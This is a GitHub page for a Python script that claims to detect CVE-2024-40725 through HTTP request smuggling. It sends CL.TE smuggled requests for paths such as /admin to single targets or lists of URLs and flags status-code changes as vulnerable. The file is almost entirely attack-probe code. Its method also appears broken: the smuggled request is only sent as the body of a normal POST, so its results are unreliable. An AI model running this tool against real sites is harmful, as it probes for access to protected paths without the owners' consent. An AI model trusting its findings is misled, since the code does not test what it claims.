-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathdetect_smuggling.py
149 lines (130 loc) · 4.91 KB
/
detect_smuggling.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import requests
import argparse
def generate_smuggled_request(target_url, target_path):
"""
Generate an HTTP smuggling request with the desired path.
:param target_url: Target server URL.
:param target_path: Path to be tested for status change.
:return: Smuggled HTTP request string.
"""
return (
"POST / HTTP/1.1\r\n"
f"Host: {target_url}\r\n"
"Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n\r\n"
f"GET {target_path} HTTP/1.1\r\n"
f"Host: {target_url}\r\n"
"User-Agent: smuggle-test\r\n"
"\r\n"
)
def check_path_status(target_url, path):
"""
Check the normal HTTP status code for a given path.
:param target_url: Target server URL.
:param path: Path to be tested.
:return: HTTP status code or None in case of error.
"""
try:
response = requests.get(f"{target_url}{path}", timeout=10)
return response.status_code
except Exception as e:
print(f"[ERROR] Could not check path {path} on {target_url}: {e}")
return None
def detect_http_request_smuggling(target_url, paths, output_file):
"""
Detect HTTP Request Smuggling vulnerability and report status changes.
:param target_url: Target server URL.
:param paths: List of paths to test.
:param output_file: File to save the results (optional).
"""
try:
for path in paths:
print(f"[*] Testing URL: {target_url} with path: {path}")
# Check the normal status of the path
normal_status = check_path_status(target_url, path)
if normal_status is None:
continue
print(f"Normal status for {path}: {normal_status}")
# Send the smuggled request
smuggled_request = generate_smuggled_request(target_url, path)
smuggled_response = requests.post(
target_url,
data=smuggled_request,
headers={'Content-Type': 'text/plain'},
timeout=10
)
smuggled_status = smuggled_response.status_code
# Compare the status codes
if smuggled_status != normal_status:
result = (
f"[VULNERABLE] {target_url}{path} - Status changed: "
f"{normal_status} -> {smuggled_status}\n"
)
print(result)
if output_file:
with open(output_file, "a") as f:
f.write(result)
else:
print(f"[INFO] No status change for {target_url}{path}\n")
except Exception as e:
error_msg = f"[ERROR] An error occurred with {target_url}: {e}\n"
print(error_msg)
if output_file:
with open(output_file, "a") as f:
f.write(error_msg)
def load_wordlist(file_path):
"""
Load a list of paths from a wordlist file.
:param file_path: Path to the wordlist file.
:return: List of paths.
"""
try:
with open(file_path, "r") as f:
return [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"[ERROR] Could not load wordlist: {e}")
return []
def load_url_list(file_path):
"""
Load a list of target URLs from a file.
:param file_path: Path to the file containing URLs.
:return: List of URLs.
"""
try:
with open(file_path, "r") as f:
return [line.strip() for line in f if line.strip()]
except Exception as e:
print(f"[ERROR] Could not load URL list: {e}")
return []
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Detect CVE-2024-40725 vulnerability and status changes')
parser.add_argument('-u', '--url', help='Target server URL')
parser.add_argument('-l', '--list', help='File containing list of target URLs')
parser.add_argument('-w', '--wordlist', help='File containing paths for fuzzing', default=None)
parser.add_argument('-o', '--output', help='File to save the results', default=None)
args = parser.parse_args()
# Ensure at least one of URL or URL list is provided
if not args.url and not args.list:
print("[ERROR] Either -u or -l must be provided.")
exit(1)
# Load paths from wordlist
paths = ["/admin"]
if args.wordlist:
paths = load_wordlist(args.wordlist)
if not paths:
print("[ERROR] Wordlist is empty or could not be loaded.")
exit(1)
# Process URLs
targets = []
if args.url:
targets.append(args.url)
if args.list:
targets.extend(load_url_list(args.list))
if not targets:
print("[ERROR] URL list is empty or could not be loaded.")
exit(1)
# Run detection for each target
for target in targets:
detect_http_request_smuggling(target, paths, args.output)